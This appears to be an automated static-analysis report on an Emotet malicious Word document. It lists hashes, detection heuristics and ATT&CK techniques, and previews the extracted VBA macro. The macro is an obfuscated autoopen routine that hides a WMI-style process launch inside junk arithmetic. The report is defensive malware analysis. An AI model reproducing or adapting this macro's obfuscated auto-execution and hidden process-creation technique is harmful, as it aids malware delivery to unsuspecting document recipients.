Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 bf3ac1d80daaf533…

MALICIOUS

Office (OLE)

163.6 KB Created: 2019-03-26 18:01:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: a9656dabfab756e9992cc055985419c7 SHA-1: deb3e52bc62c3bc583b0b60c48f72bad9e8238ed SHA-256: bf3ac1d80daaf533b3af1f1c3b030803791374ac22ad5d4530d8c5b8b3a6c5c8
222 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is identified as malicious by ClamAV with the signature Doc.Downloader.Emotet-6914201-0. High-severity heuristics indicate the presence of an AutoOpen VBA macro that uses GetObject for execution. This macro is designed to download and execute a second-stage payload, a common characteristic of Emotet malware.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-6914201-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6914201-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 14844 bytes
SHA-256: 91997d1ef24214c5651f9fba81d0a2569b8cdfd58e983fa00841d1ba9c3c104b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "n1CAwQ"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "GAD_DG"
Attribute VB_Base = "0{9F8B55CD-B6F0-4DA4-AB50-70E9C7FA2034}{5B07E719-5147-4613-976E-888249BCE951}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "MUCoBX"
Attribute VB_Base = "0{526A87AD-4FC8-4940-B4DF-744D791DDAAC}{6F111606-AC90-4175-9731-9223206AA8CB}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "hAAGB_A"
Sub autoopen()
On Error Resume Next
         Select Case sDAc11
Case 118280599
      MXQBAA = OBAxAoQQ / 478597815 / _
G4kDwUAA - CInt(mA1UBx + CInt(242231717)) + _
(267204555 * CLng(331235448))
      KxoUXwAX = 223893988 * kAQAkABA
      H_BAAAX = 864466949 - 287911280 + _
514265595 - DA4wAA_ / TDAACAU - Tan(895050759)
End Select
         Select Case NAcAAk
Case 709653768
      FQcBGA = E4BUBcAA / 754755544 / _
fAAQQD - CInt(HocAAX + CInt(787110658)) + _
(629948402 * CLng(286750411))
      WABAk1w = 665168076 * vXAGGA
      nXX4CC = 56756407 - 100273735 + _
975717345 - CDQwAx / BA_BUAAw - Tan(702573187)
End Select
         Select Case EAA_AoDQ
Case 446838557
      AAAcBAA = FcC1xD / 725462749 / _
iAAA4AAk - CInt(OAAAAAQ + CInt(707330327)) + _
(755291192 * CLng(775149347))
      QwD4kk = 128501794 * I1QQA_UU
      m4XG4D = 927588281 - 302785135 + _
133041045 - wxBUUAQ / qcDAkD - Tan(204124700)
End Select
Set okAccAXc = GetObject(GAD_DG.zA1XxAB + MUCoBX.sQDcxA + GAD_DG.zA1XxAB)
         Select Case fk1AUkA
Case 731717202
      DoGoAAQ = vAUCAx / 362632927 / _
fAcAAZ - CInt(dAXCcAxA + CInt(374264988)) + _
(513185493 * CLng(576958809))
      rAcAAA = 903701020 * HAwZkBUA
      FGABAk = 919633742 - 318126073 + _
661567965 - ZQAoQAcZ / sBBQBA - Tan(490381549)
End Select
         Select Case SDCxUDA_
Case 86630299
      hAUADA = LAwAA_ / 838020347 / _
YACGBBA - CInt(zAAAAxBB + CInt(843402600)) + _
(110104496 * CLng(735181702))
      aGABQkU = 305566633 * X4xACBD
      LAAADQ = 520578417 - 202859255 + _
81501362 - lAkAQAQ / Gk4Aw4 - Tan(830299945)
End Select
         Select Case UAAA_AC
Case 662976899
      MBB4QB1 = IDoUAQ / 433152590 / _
wABBADx - CInt(zAQkXZx + CInt(530378785)) + _
(699651961 * CLng(220765167))
      QA_DwUZ4 = 599910722 * ZUAXUG
      iDw1C4AA = 365888591 - 680037513 + _
195611679 - pA4QDX / bBxAAAA_ - Tan(324314675)
End Select
okAccAXc.ShowWindow = 481501 - 481501
         Select Case NUcQoA1
Case 236544262
      FBAQDC = i_AcoGk / 588426294 / _
I1kUAC - CInt(mAGAQXo + CInt(166614484)) + _
(278124716 * CLng(86538863))
      rAAQDQAA = 532779772 * OBcDBAUA
      lwUAAABk = 698960503 - 402273939 + _
26928979 - ZAcD1Q / qA4D1B - Tan(121436546)
End Select
         Select Case kADc1XUD
Case 305847213
      o1UD_G = pZAQAD / 481926843 / _
sAZ1CD - CInt(r4oXkcwk + CInt(886470201)) + _
(328267414 * CLng(861984837))
      ZADccwG = 383906128 * q1kAoxc
      hUAD4C = 675389546 - 506973620 + _
828253829 - B4AoDcU / tAAAcAox - Tan(740855376)
End Select
GetObject(GAD_DG.zA1XxAB + MUCoBX.w4ABUB4 + GAD_DG.zA1XxAB) _
.Create GAD_DG.zA1XxAB + MUCoBX.ucoADQ1 + GAD_DG.zA1XxAB + MUCoBX.aoxD1AA + GAD_DG.zA1XxAB + GAD_DG.zA1XxAB + MUCoBX.E1ACBC + GAD_DG.zA1XxAB + GAD_DG.zA1XxAB + MUCoBX.lAXZQB + GAD_DG.zA1XxAB + MUCoBX.QcUo1G + GAD_DG.zA1XxAB, YACAoDZA, okAccAXc, GAD_DG.zA1XxAB
         Select Case fAZAAAx
Case 877042873
      Rc_AAx = rZUA4k / 162967445 / _
cBUkZ1 - CInt(D_AQkCAA + CInt(197195728)) + _
(950241827 * CLng(640198986))
      z_AcDkA = 811973528 * YAQZ1Dc
     
... (truncated)

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